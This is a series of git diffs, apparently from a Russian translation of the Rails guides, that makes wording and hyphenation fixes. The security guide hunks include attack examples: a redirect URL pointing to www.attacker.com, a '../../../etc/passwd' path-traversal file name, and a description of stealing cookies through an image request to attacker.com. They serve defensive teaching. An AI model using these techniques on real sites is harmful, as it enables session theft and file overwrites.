или на экземпляре модели Active Record. Установите его в nil, чтобы отключить логирование. * `config.active_record.primary_key_prefix_type` позволяет настроить именование столбцов первичного ключа. По умолчанию Rails полагает, что столбцы первичного ключа именуются `id` (и эта конфигурационная опция не нуждается в установке). Есть два возможных варианта: * `:table_name` сделает первичный ключ для класса Customer как `customerid` @@ -351,7 +351,7 @@ config.middleware.delete Rack::MethodOverride * `config.active_record.timestamped_migrations` регулирует, должны ли миграции нумероваться серийными номерами или временными метками. По умолчанию `true` для использования временных меток, которые более предпочтительны если над одним проектом работают несколько разработчиков. -* `config.active_record.lock_optimistically` регулирует, должен ли ActiveRecord использовать оптимистичную блокировку. По умолчанию `true`. +* `config.active_record.lock_optimistically` регулирует, должен ли Active Record использовать оптимистичную блокировку. По умолчанию `true`. * `config.active_record.cache_timestamp_format` управляет форматом значения временной метки в ключе кэширования. По умолчанию `:nsec`. @@ -375,7 +375,7 @@ config.middleware.delete Rack::MethodOverride Адаптер MySQL добавляет дополнительную конфигурационную опцию: -* `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` регулирует, должен ли ActiveRecord рассматривать все столбцы `tinyint(1)` как boolean. По умолчанию `true`. +* `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` регулирует, должен ли Active Record рассматривать все столбцы `tinyint(1)` как boolean. По умолчанию `true`. Адаптер SQLite3Adapter добавляет еще одну опцию конфигурации: @@ -739,7 +739,7 @@ TIP: Вам не нужно обновлять конфигурации баз Так как существует два способа настройки соединения (с помощью `config/database.yml` или с помощью переменной среды), важно понять, как они могут взаимодействовать. -Если у вас пустой файл `config/database.yml`, но существует `ENV['DATABASE_URL']`, тогда Rails соединится с базой данных с помощью переменной среды: +Если имеется пустой файл `config/database.yml`, но существует `ENV['DATABASE_URL']`, Rails соединится с базой данных с помощью переменной среды: ``` $ cat config/database.yml @@ -748,7 +748,7 @@ $ echo $DATABASE_URL postgresql://localhost/my_database ``` -Если у вас `config/database.yml`, но нет `ENV['DATABASE_URL']`, тогда для соединения с базой данных будет использован этот файл: +Если имеется `config/database.yml`, но нет `ENV['DATABASE_URL']`, тогда для соединения с базой данных будет использован этот файл: ``` $ cat config/database.yml @@ -760,7 +760,7 @@ development: $ echo $DATABASE_URL ``` -Если у вас и `config/database.yml`, и установлена `ENV['DATABASE_URL']`, тогда Rails объединит конфигурации вместе. Чтобы лучше понять, обратимся к примерам. +Если имеется и `config/database.yml`, и `ENV['DATABASE_URL']`, Rails будет объединять конфигурации вместе. Чтобы лучше понять, обратимся к примерам. При дублирующей информации о соединении, приоритет имеет переменная среды: @@ -795,7 +795,7 @@ $ bin/rails runner 'puts ActiveRecord::Base.connections' {"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}} ``` -Так как pool не предоставлен в информации о соединении в `ENV['DATABASE_URL']`, его информация была объединена. Так как `adapter` дублирован, взята информация о соединении из `ENV['DATABASE_URL']`. +Поскольку pool не содержится в предоставленной информации о соединении в `ENV['DATABASE_URL']`, его информация объединяется. Так как `adapter` дублирован, информация о соединении взята из `ENV['DATABASE_URL']`. Единственных способ явно не использовать информацию о соединении из `ENV['DATABASE_URL']`, это определить явный URL соединения с использованием ключа `"url"`: diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index 20a4135e..d62e8053 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -447,7 +447,7 @@ $ git remote add rails https://github.com/rails/rails.git $ git fetch rails ``` -Смержить новое содержимое: +Слить новое содержимое: ```bash $ git checkout master @@ -479,7 +479,7 @@ comparison". ### Получение обратной связи -Большая часть пул-реквестов пройдут через ряд итераций до того, как они будут влиты. У разных контрибьюторов иногда разные мнения, и часто изменения нуждаются в пересмотре до того, как их можно влить. +Большая часть пул-реквестов пройдут через ряд итераций до того, как они будут слиты. У разных контрибьюторов иногда разные мнения, и часто изменения нуждаются в пересмотре до того, как их можно слить. У некоторых контрибьюторов в Rails включены уведомления по email с GitHub, у некоторых нет. Более того, (почти) все, кто работает над Rails, являются добровольцами, поэтому может пройти несколько дней до того, как вы получите первую обратную связь на пул-реквест. Не отчаивайтесь! Иногда это быстро, иногда это медленно. Такова жизнь открытого ПО. @@ -541,7 +541,7 @@ TIP: Возможно, вы захотите [выводить имя ветки #### Обратное портирование -Изменения, влитые в master, предназначены для следующего большого релиза Rails. Иногда полезно, чтобы ваши изменения попали в поддерживаемые релизы для старших стабильных веток. Как правило, хорошими кандидатами для обратного портирования являются исправления безопасности и ошибок, в то время как новые особенности и исправления, представляющие изменения в поведении, не принимаются. Когда сомневаетесь, лучше всего проконсультироваться с членом основной команды Rails до обратного портирования ваших изменений, чтобы избежать потерь времени. +Изменения, слитые в master, предназначены для следующего большого релиза Rails. Иногда полезно, чтобы ваши изменения попали в поддерживаемые релизы для старших стабильных веток. Как правило, хорошими кандидатами для обратного портирования являются исправления безопасности и ошибок, в то время как новые особенности и исправления, представляющие изменения в поведении, не принимаются. Когда сомневаетесь, лучше всего проконсультироваться с членом основной команды Rails до обратного портирования ваших изменений, чтобы избежать потерь времени. Для простых изменений, легчайшим способом портировать ваши изменения является [извлечь diff ваших изменений в master и применить его в целевой ветке](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git). diff --git a/source/form_helpers.md b/source/form_helpers.md index 1e5baace..7a0abd87 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -572,7 +572,7 @@ Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, pa ### Общие опции -Оба семейства хелперов используют одинаковый базовый набор функций для генерации индивидуальных тегов select, таким образом, они оба принимают в основном одинаковые опции. В частности, по умолчанию Rails сгенерирует варианты выбора года как текущий год плюс/минус пять лет. Если это неподходящий диапазон, опции `:start_year` и `:end_year` переопределяют это. Для полного списка доступных опции обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). +Оба семейства хелперов используют одинаковый базовый набор функций для генерации индивидуальных тегов select, таким образом, они оба принимают в основном одинаковые опции. В частности, по умолчанию Rails сгенерирует варианты выбора года как текущий год плюс/минус пять лет. Если это неподходящий интервал, опции `:start_year` и `:end_year` переопределяют это. Для полного списка доступных опции обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). Как правило, следует использовать `date_select` при работе с объектами модели и `select_date` в иных случаях, например, таких как форма поиска, которая фильтрует результаты по дате. diff --git a/source/i18n.md b/source/i18n.md index d907aaf9..6f9132f5 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -279,7 +279,7 @@ end ##### Определение локали из языка заголовка -HTTP заголовок `Accept-Language` указывает предпочтительный язык для ответа. Браузеры [устанавливают это значение заголовка на основании языковых настроек пользователя](http://www.w3.org/International/questions/qa-lang-priorities), что делает его хорошим выбором при определении локали. +HTTP-заголовок `Accept-Language` указывает предпочтительный язык для ответа. Браузеры [устанавливают это значение заголовка на основании языковых настроек пользователя](http://www.w3.org/International/questions/qa-lang-priorities), что делает его хорошим выбором при определении локали. Обычной реализацией использования заголовка `Accept-Language` будет следующее: @@ -300,7 +300,7 @@ private ##### Определение локали по IP геолокации -IP адрес клиента, выполняющего запрос, может использоваться для определения региона и его локали. Сервисы, такие как [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry), или гемы, такие как [geocoder](https://github.com/alexreisner/geocoder) могут быть использованы для реализации этого подхода. +IP-адрес клиента, выполняющего запрос, может использоваться для определения региона и его локали. Сервисы, такие как [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry), или гемы, такие как [geocoder](https://github.com/alexreisner/geocoder) могут быть использованы для реализации этого подхода. В целом, этот подход является менее надежным, чем при использовании языка заголовка и не рекомендуется для большинства веб-приложений. diff --git a/source/initialization.md b/source/initialization.md index 7e6bfc4d..40279b60 100644 --- a/source/initialization.md +++ b/source/initialization.md @@ -254,7 +254,7 @@ def default_options end ``` -Ключа `REQUEST_METHOD` нет в `ENV`, поэтому можно пропустить следующую строчку. Последующие строчки сливают опции из `opt_parser`, который также определен в `Rack::Server`: +Ключа `REQUEST_METHOD` нет в `ENV`, поэтому можно пропустить следующую строчку. Последующие строчки объединяют опции из `opt_parser`, который также определен в `Rack::Server`: ```ruby def opt_parser diff --git a/source/routing.md b/source/routing.md index f700e567..8389189b 100644 --- a/source/routing.md +++ b/source/routing.md @@ -631,7 +631,7 @@ match 'photos', to: 'photos#show', via: [:get, :post] match 'photos', to: 'photos#show', via: :all ``` -NOTE: Маршрутизация запросов `GET` и `POST` одновременно в один экшн небезопасна. В основном, следует избегать маршрутизацию всех методов в экшн, если у вас нет веской причины делать так. +NOTE: Роутинг запросов `GET` и `POST` одновременно в один экшн небезопасен. В основном, следует избегать роутинг всех методов в экшн, если нет веской причины делать так. NOTE: `GET` в Rails не проверяет токен CSRF. Никогда не пишите в базу данных из `GET` запросов, подробнее о контрмерах CSRF смотрите в [руководстве по безопасности](/ruby-on-rails-security-guide#csrf-countermeasures). diff --git a/source/security.md b/source/security.md index b78ee275..2e7d1497 100644 --- a/source/security.md +++ b/source/security.md @@ -17,7 +17,7 @@ Фреймворки веб приложений сделаны для помощи разработчикам в создании веб приложений. Некоторые из них также помогают с безопасностью веб приложения. Фактически, один фреймворк не безопаснее другого: если использовать их правильно, возможно создавать безопасные приложения на разных фреймворках. Ruby on Rails имеет некоторые умные методы хелпера, например против инъекций SQL, поэтому вряд ли это будет проблемой. -В основном здесь нет такого, как plug-n-play безопасность. Безопасность зависит от людей, использующих фреймворк, и иногда от метода разработки. И зависит от всех уровней среды веб приложения: внутреннего хранения данных, веб сервера и самого веб приложения (и, возможно, других уровней приложений). +В основном здесь нет такого, как plug-n-play безопасность. Безопасность зависит от людей, использующих фреймворк, и иногда от метода разработки. И зависит от всех уровней среды веб приложения: внутреннего хранения данных, веб-сервера и самого веб приложения (и, возможно, других уровней приложений). Однако, The Gartner Group оценила, что 75% атак происходят на уровне веб приложения, и обнаружила, что из 300 проверенных сайтов, 97% уязвимы к атакам. Это потому, что веб приложения относительно просто атаковать, так как они просты для понимания и воздействия, даже простым человеком. @@ -299,7 +299,7 @@ http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com NOTE: _Убедитесь, что загрузки файлов не перезапишут важные файлы и обрабатывают медиа файлы асинхронно._ -Многие веб приложения позволяют пользователям загружать файлы. _Имена файла, которые пользователи могут выбирать (частично), всегда должны фильтроваться_, так как злоумышленник может использовать злонамеренное имя файла для перезаписи любого файла на сервере. Если загруженные файлы хранятся в /var/www/uploads, и пользователь введет имя файла такое как “../../../etc/passwd”, это сможет перезаписать важный файл. Конечно, интерпретатору Ruby будут требоваться необходимые разрешения, чтобы сделать это – еще одна причина запускать веб серверы, серверы базы данных и другие программы под наименее привилегированным пользователем Unix. +Многие веб приложения позволяют пользователям загружать файлы. _Имена файла, которые пользователи могут выбирать (частично), всегда должны фильтроваться_, так как злоумышленник может использовать злонамеренное имя файла для перезаписи любого файла на сервере. Если загруженные файлы хранятся в /var/www/uploads, и пользователь введет имя файла такое как “../../../etc/passwd”, это сможет перезаписать важный файл. Конечно, интерпретатору Ruby будут требоваться необходимые разрешения, чтобы сделать это – еще одна причина запускать веб-серверы, серверы базы данных и другие программы под наименее привилегированным пользователем Unix. Когда фильтруете имена файлов, введенных пользователем, _не пытайтесь убрать злонамеренные части_. Подумайте о ситуации, когда веб приложение убирает все “../” в имени файла, и злоумышленник использует строку, такую как “....//”, результатом будет “../”. Лучше использовать подход белого списка, который _проверяет на валидность имя файла с помощью набора приемлемых символов_. Это противопоставляется подходу черного списка, который пытается убрать недопустимые символы. В случае невалидного имени файла отвергните его (или замените неприемлемые символы), но не убирайте их. Вот санитайзер имени файла из [плагина attachment_fu](http://github.com/technoweenie/attachment_fu/tree/master): @@ -324,7 +324,7 @@ end WARNING: _Исходный код в загруженных файлах может быть исполнен при помещении в определенные директории. Не помещайте загрузки файла в директорию Rails /public, если это домашняя директория Apache._ -Популярный веб сервер Apache имеет опцию, называемую DocumentRoot. Это домашняя директория веб сайта, все в дереве этой директории будет обслуживаться веб сервером. Если там имеются файлы с определенным расширением имени, код в в них будет выполнен при запросе (может требоваться установка некоторых опций). Примерами этого являются файлы PHP и CGI. Теперь представьте ситуацию, когда злоумышленник загружает файл “file.cgi” с кодом, который будет запущен, когда кто-то скачивает файл. +Популярный веб-сервер Apache имеет опцию, называемую DocumentRoot. Это домашняя директория веб сайта, все в дереве этой директории будет обслуживаться веб-сервером. Если там имеются файлы с определенным расширением имени, код в в них будет выполнен при запросе (может требоваться установка некоторых опций). Примерами этого являются файлы PHP и CGI. Теперь представьте ситуацию, когда злоумышленник загружает файл “file.cgi” с кодом, который будет запущен, когда кто-то скачивает файл. _Если Apache DocumentRoot указывает на директорию Rails /public, не помещайте загрузки файлов в него_, храните файлы как минимум на один уровень ниже. @@ -379,7 +379,7 @@ send_file filename, disposition: 'inline' * Очень важно _думать о худшем случае_: что если кто-то в самом деле достанет ваши куки или полномочия пользователя? Вы должны _ввести роли_ для административного интерфейса, чтобы ограничить возможности злоумышленника. Или как насчет _специальных полномочий авторизации_ для административного интерфейса, отличающихся от тех, которые используются в публичной части приложения? Или _специального пароля для очень серьезных действий_? -* Действительно ли админ должен иметь доступ к интерфейсу из любой точки мира? Подумайте насчет _ограничения авторизации списком IP адресов_. Проверьте request.remote_ip для того, чтобы узнать об IP адресах пользователя. Это не абсолютная, но серьезная защита. Хотя помните, что могут использоваться прокси. +* Действительно ли админ должен иметь доступ к интерфейсу из любой точки мира? Подумайте насчет _ограничения авторизации списком IP-адресов_. Проверьте request.remote_ip для того, чтобы узнать об IP-адресах пользователя. Это не абсолютная, но серьезная защита. Хотя помните, что могут использоваться прокси. * _Поместите административный интерфейс в специальный поддомен_, такой как admin.application.com, и сделайте его отдельным приложением со своим собственным управлением пользователями. Это сделает похищение куки админа из обычного домена www.application.com невозможным. Это происходит благодаря правилу ограничения домена вашего браузера: встроенный (XSS) скрипт на www.application.com не сможет прочитать куки для admin.application.com и наоборот. @@ -472,7 +472,7 @@ INFO: _CAPTCHA - это тест вызова-ответа для определ WARNING: _Скажите Rails не помещать пароли в файлы логов._ -По умолчанию Rails логирует все запросы, сделанные к веб приложению. Но файлы логов могут быть большим вопросом безопасности, поскольку они могут содержать личные данные логина, номера кредитных карт и так далее. При разработке концепции безопасности веб приложения также необходимо думать о том, что случится, если злоумышленник получит (полный) доступ к веб серверу. Шифрование секретных данных и паролей будут совершенно бесполезным, если файлы лога отображают их чистым текстом. Можете _фильтровать некоторые параметры запроса в ваших файлах лога_, присоединив их к `config.filter_parameters` в конфигурации приложения. Эти параметры будут помечены [FILTERED] в логе. +По умолчанию Rails логирует все запросы, сделанные к веб приложению. Но файлы логов могут быть большим вопросом безопасности, поскольку они могут содержать личные данные логина, номера кредитных карт и так далее. При разработке концепции безопасности веб приложения также необходимо думать о том, что случится, если злоумышленник получит (полный) доступ к веб-серверу. Шифрование секретных данных и паролей будут совершенно бесполезным, если файлы лога отображают их чистым текстом. Можете _фильтровать некоторые параметры запроса в ваших файлах лога_, присоединив их к `config.filter_parameters` в конфигурации приложения. Эти параметры будут помечены [FILTERED] в логе. ```ruby config.filter_parameters << :password @@ -686,13 +686,13 @@ INFO: _Наиболее распространенная и одна из наи ##### Похищение куки -Пока эти примеры не делали никакого вреда, поэтому давайте посмотрим, как злоумышленник может похитить куки пользователя (и, таким образом, похитить пользовательскую сессию). В JavaScript можно использовать свойство document.cookie для чтения и записи куки документа. JavaScript обеспечивает политику ограничения домена, которая означает, что скрипт с одного домена не может получить доступ к куки другого домена. Свойство document.cookie содержит куки создавшего веб сервера. Однако это свойство можно прочитать и записать, если внедрите код непосредственно в документ HTML (как это происходит в XSS). Введите это где-нибудь в своем веб приложении, чтобы увидеть собственные куки на результирующей странице: +Пока эти примеры не делали никакого вреда, поэтому давайте посмотрим, как злоумышленник может похитить куки пользователя (и, таким образом, похитить пользовательскую сессию). В JavaScript можно использовать свойство document.cookie для чтения и записи куки документа. JavaScript обеспечивает политику ограничения домена, которая означает, что скрипт с одного домена не может получить доступ к куки другого домена. Свойство document.cookie содержит куки создавшего веб-сервера. Однако это свойство можно прочитать и записать, если внедрите код непосредственно в документ HTML (как это происходит в XSS). Введите это где-нибудь в своем веб приложении, чтобы увидеть собственные куки на результирующей странице: ``` ``` -Для злоумышленника, разумеется, бесполезно, что жертва видит свои куки. Следующий пример пытается загрузить изображение с URL http://www.attacker.com/ плюс куки. Конечно, этот URL не существует, поэтому браузер ничего не отобразит. Но злоумышленник сможет просмотреть логи доступа к своему веб серверу, чтобы увидеть куки жертв. +Для злоумышленника, разумеется, бесполезно, что жертва видит свои куки. Следующий пример пытается загрузить изображение с URL http://www.attacker.com/ плюс куки. Конечно, этот URL не существует, поэтому браузер ничего не отобразит. Но злоумышленник сможет просмотреть логи доступа к своему веб-серверу, чтобы увидеть куки жертв. ```html diff --git a/source/testing.md b/source/testing.md index 072cedbe..0a6f8425 100644 --- a/source/testing.md +++ b/source/testing.md @@ -91,7 +91,7 @@ require 'test_helper' class ArticleTest < ActiveSupport::TestCase ``` -Класс `ArticleTest` определяет _тестовый случай (test case)_, поскольку он унаследован от `ActiveSupport::TestCase`. Поэтому `ArticleTest` имеет все методы, доступные в `ActiveSupport::TestCase`. Позже в этом руководстве мы увидим некоторые из методов, которые он нам дает. +Класс `ArticleTest` определяет _тестовый случай_, поскольку он унаследован от `ActiveSupport::TestCase`. Поэтому `ArticleTest` имеет все методы, доступные в `ActiveSupport::TestCase`. Позже в этом руководстве мы увидим некоторые из методов, которые он нам дает. Любой метод, определенный в классе, унаследованном от `Minitest::Test` (который является суперклассом для `ActiveSupport::TestCase`), начинающийся с `test_` (чувствительно к регистру), просто вызывает тест. Таким образом, методы, определенные как `test_password` и `test_valid_password`, это правильные имена тестов, и запустятся автоматически при запуске тестового случая. @@ -323,7 +323,7 @@ Rails добавляет некоторые свои утверждения в | [`assert_nothing_raised { block }`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_nothing_raised) | Обеспечивает, что данный блок не вызывает какие-либо исключения.| | [`assert_recognizes(expected_options, path, extras={}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes) | Обеспечивает, что роутинг данного path был правильно обработан, и что проанализированные опции (заданные в хэше expected_options) соответствуют path. По существу он утверждает, что Rails распознает маршрут, заданный в expected_options. | | [`assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates) | Утверждает, что предоставленные options могут быть использованы для генерации предоставленного пути. Это противоположность assert_recognizes. Параметр extras используется, чтобы сообщить запросу имена и значения дополнительных параметров запроса, которые могут быть в строке запроса. Параметр message позволяет определить свое сообщение об ошибке при провале утверждения. | -| [`assert_response(type, message = nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response) | Утверждает, что отклик идет с определенным кодом статуса. Можете определить `:success` для обозначения 200-299, `:redirect` для обозначения 300-399, `:missing` для обозначения 404, или `:error` для соответствия диапазону 500-599. Можно передать явный номер статуса или его символьный эквивалент. Более подробно смотрите в [полном списке кодов статуса](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) и как работает их [привязка](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant). | +| [`assert_response(type, message = nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response) | Утверждает, что отклик идет с определенным кодом статуса. Можете определить `:success` для обозначения 200-299, `:redirect` для обозначения 300-399, `:missing` для обозначения 404, или `:error` для соответствия интервалу 500-599. Можно передать явный номер статуса или его символьный эквивалент. Более подробно смотрите в [полном списке кодов статуса](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) и как работает их [привязка](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant). | | [`assert_redirected_to(options = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_redirected_to) | Утверждает, что опции перенаправления передаются в соответствии с вызовами перенаправления в последнем экшне. Это соответствие может быть частичным, так `assert_redirected_to(controller: "weblog")` будет также соответствовать перенаправлению `redirect_to(controller: "weblog", action: "show")` и тому подобное. Также можно передать именованные маршруты, как в `assert_redirected_to root_path`, и объекты Active Record, как в `assert_redirected_to @article`. | Вы увидите использование некоторых из этих утверждений в следующей части. diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index 5e89a025..f556a2ea 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -753,7 +753,7 @@ authors.compact! Скоупы по умолчанию больше не переопределяются присоединенными условиями. -В прежних версиях, при определении в модели `default_scope`, он переопределялся присоединенными условиями на то же поле. Теперь он мержится, как и любой другой скоуп. +В прежних версиях, при определении в модели `default_scope`, он переопределялся присоединенными условиями на то же поле. Теперь он объединяется, как и любой другой скоуп. Раньше: From f043f98399f2e1619e749c23794f5378f2abbb81 Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Sun, 17 Sep 2017 17:43:45 +0300 Subject: [PATCH 336/932] Update 17-09-17 --- .yaspellerrc | 1 + source/3_0_release_notes.md | 2 +- source/3_1_release_notes.md | 2 +- source/3_2_release_notes.md | 4 +- source/4_0_release_notes.md | 4 +- source/4_1_release_notes.md | 2 +- source/5_1_release_notes.md | 2 +- source/action_controller_overview.md | 32 ++---- source/action_mailer_basics.md | 5 +- source/action_view_overview.md | 6 +- source/active_job_basics.md | 23 +++- source/active_record_migrations.md | 2 +- source/active_record_querying.md | 2 +- source/active_support_core_extensions.md | 8 +- source/api_documentation_guidelines.md | 4 +- source/asset_pipeline.md | 4 +- source/association_basics.md | 21 ++-- source/caching_with_rails.md | 20 +++- source/configuring.md | 6 +- source/contributing_to_ruby_on_rails.md | 2 +- source/development_dependencies_install.md | 2 +- source/getting_started.md | 122 ++++++++++---------- source/i18n.md | 24 ++-- source/index.yml | 124 ++++++++++----------- source/initialization.md | 2 - source/plugins.md | 6 +- source/security.md | 44 ++++---- source/testing.md | 4 +- source/upgrading_ruby_on_rails.md | 6 +- source/working_with_javascript_in_rails.md | 4 +- 30 files changed, 258 insertions(+), 232 deletions(-) diff --git a/.yaspellerrc b/.yaspellerrc index e1d5f7aa..83adf29a 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -98,6 +98,7 @@ "локал(и|ь|ей|ью|ям|ях|ями)", "мапинг(а|у|е|и|ах|ам|)", "маршализаци(и|ю|я|ей)", + "массивоподобн(ая|ое|ой|ом|ую|ые|ым|ый|ых|ого|ыми)", "масштабируемост(и|ь|ей|ью|ям|ях|ями)", "межсайтов(ая|ое|ой|ом|ую|ые|ым|ый|ых|ого|ыми)", "метатег(а|е|и|у|ах|ов|ом|ами|)", diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index 4c241245..17aa14eb 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -85,7 +85,7 @@ $ cd myapp Сейчас Rails использует `Gemfile` в корне приложения, чтобы определить гемы, требуемые для запуска вашего приложения. Этот `Gemfile` обрабатывается [Bundler](https://github.com/bundler/bundler), который затем устанавливает все зависимости. Он может даже установить все зависимости локально в ваше приложение, и оно не будет зависеть от системных гемов. -Подробнее: - [домашняя страница bundler](http://bundler.io/) +Подробнее: - [домашняя страница Bundler](https://bundler.io/) ### Живите на грани diff --git a/source/3_1_release_notes.md b/source/3_1_release_notes.md index 6348c19d..01a9839c 100644 --- a/source/3_1_release_notes.md +++ b/source/3_1_release_notes.md @@ -145,7 +145,7 @@ $ cd myapp Сейчас Rails использует `Gemfile` в корне приложения, чтобы определить гемы, требуемые для запуска вашего приложения. Этот `Gemfile` обрабатывается [Bundler](http://github.com/carlhuda/bundler), который затем устанавливает все зависимости. Он может даже установить все зависимости локально в ваше приложение, и оно не будет зависеть от системных гемов. -Подробнее: - [домашняя страница bundler](http://bundler.io/) +Подробнее: - [домашняя страница Bundler](https://bundler.io/) ### Живите на грани diff --git a/source/3_2_release_notes.md b/source/3_2_release_notes.md index 2ec83011..f127da91 100644 --- a/source/3_2_release_notes.md +++ b/source/3_2_release_notes.md @@ -76,7 +76,7 @@ $ cd myapp Сейчас Rails использует `Gemfile` в корне приложения, чтобы определить гемы, требуемые для запуска вашего приложения. Этот `Gemfile` обрабатывается [Bundler](http://github.com/carlhuda/bundler), который затем устанавливает все зависимости. Он может даже установить все зависимости локально в ваше приложение, и оно не будет зависеть от системных гемов. -Подробнее: - [домашняя страница Bundler](http://bundler.io/) +Подробнее: - [домашняя страница Bundler](https://bundler.io/) ### Живите на грани @@ -290,7 +290,7 @@ Action Pack ```ruby @items.each do |item| content_tag_for(:li, item) do - Title: <%= item.title %> + Title: <%= item.title %> end end ``` diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index 5ddde50e..68623f53 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -30,7 +30,7 @@ $ cd myapp Сейчас Rails использует `Gemfile` в корне приложения, чтобы определить гемы, требуемые для запуска вашего приложения. Этот `Gemfile` обрабатывается гемом [Bundler](http://github.com/carlhuda/bundler), который затем устанавливает все зависимости. Он может даже установить все зависимости локально в ваше приложение, и оно не будет зависеть от системных гемов. -Подробнее: - [домашняя страница Bundler](http://bundler.io) +Подробнее: - [домашняя страница Bundler](https://bundler.io) ### Живите на грани @@ -54,7 +54,7 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev ### Обновление * **Ruby 1.9.3** ([коммит](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Предпочтителен Ruby 2.0; требуется 1.9.3+ -* **[Новая политика устареваний](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Устаревшие особенности показывают предупреждения в Rails 4.0, и будут убраны в Rails 4.1. +* **[Новая политика устареваний](https://www.youtube.com/watch?v=z6YgD6tVPQs)** - Устаревшие особенности показывают предупреждения в Rails 4.0, и будут убраны в Rails 4.1. * **Кэширование страниц и экшнов ActionPack** ([коммит](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Кэширование страниц и экшнов было извлечено в отдельный гем. Кэширование страниц и экшнов требовало слишком много человеческого вмешательства (вручную прекращать кэш, когда обновляются лежащие в основе объекты модели). Вместо этого используйте кэширование по принципу "русской матрешки" (Russian doll caching). * **Обсерверы ActiveRecord** ([коммит](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Обсерверы извлечены в отдельный гем. Обсерверы требовались только для кэширования страниц и экшнов и могли привести к спагетти-коду. * **Хранилище сессии ActiveRecord** ([коммит](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - Хранилище сессии ActiveRecord извлечено в отдельный гем. Хранение сессий в SQL затратное. Используйте вместо него сессии куки, сессии memcache или произвольные хранилища сессии. diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md index de1195c2..97c614bb 100644 --- a/source/4_1_release_notes.md +++ b/source/4_1_release_notes.md @@ -217,7 +217,7 @@ end ### CSRF защита от ``. Про XSS и инъекции будет написано позже. +* Злоумышленник принуждает браузер пользователя использовать этот ID сессии (смотрите номер 3 на изображении). Поскольку нельзя изменить куки другого домена (из-за политики общего происхождения), злоумышленник должен запустить JavaScript из домена целевого веб-приложения. Инъекция кода JavaScript в приложение с помощью XSS завершает эту атаку. Вот пример: ``. Про XSS и инъекции будет написано позже. * Злоумышленник заманивает жертву на зараженную страницу с кодом JavaScript. Просмотрев эту страницу, браузер жертвы изменит ID сессии на ID сессии-ловушки. -* Так как новая сессия-ловушка не использовалась, веб приложение затребует аутентификации пользователя. -* С этого момента жертва и злоумышленник будут совместно использовать веб приложение с одинаковой сессией: сессия станет валидной и жертва не будет уведомлена об атаке. +* Так как новая сессия-ловушка не использовалась, веб-приложение затребует аутентификации пользователя. +* С этого момента жертва и злоумышленник будут совместно использовать веб-приложение с одинаковой сессией: сессия станет валидной и жертва не будет уведомлена об атаке. ### Фиксации сессии - контрмеры @@ -146,13 +146,13 @@ reset_session Если используете популярный гем [Devise](https://rubygems.org/gems/devise) для управления пользователями, он автоматически оканчивает сессии при входе и выходе. Если вы пишете управление пользователями сами, не забудьте окончить сессию после экшна входа (когда создается сессия). Это удалит любые значения из сессии, _поэтому необходимо передать их в новую сессию_. -Другой контрмерой является _сохранение специфичных для пользователя свойств в сессии_, проверка их каждый раз с входящим запросом и запрет доступа, если информация не соответствует. Такими свойствами могут быть удаленный адрес IP или агент пользователя (имя веб браузера), хотя последний менее специфичен. При сохранении адреса IP вы должны понимать, что имеется большое количество интернет провайдеров или больших организаций, размещающих своих пользователей за прокси. _Адрес может меняться в течении сессии_, поэтому такие пользователи не смогут использовать ваше приложение, либо только с ограничениями. +Другой контрмерой является _сохранение специфичных для пользователя свойств в сессии_, проверка их каждый раз с входящим запросом и запрет доступа, если информация не соответствует. Такими свойствами могут быть удаленный адрес IP или агент пользователя (имя веб-браузера), хотя последний менее специфичен. При сохранении адреса IP вы должны понимать, что имеется большое количество интернет провайдеров или больших организаций, размещающих своих пользователей за прокси. _Адрес может меняться в течении сессии_, поэтому такие пользователи не смогут использовать ваше приложение, либо только с ограничениями. ### Окончание сессии NOTE: _Сессии, которые не имеют время жизни, растягивают временной период для 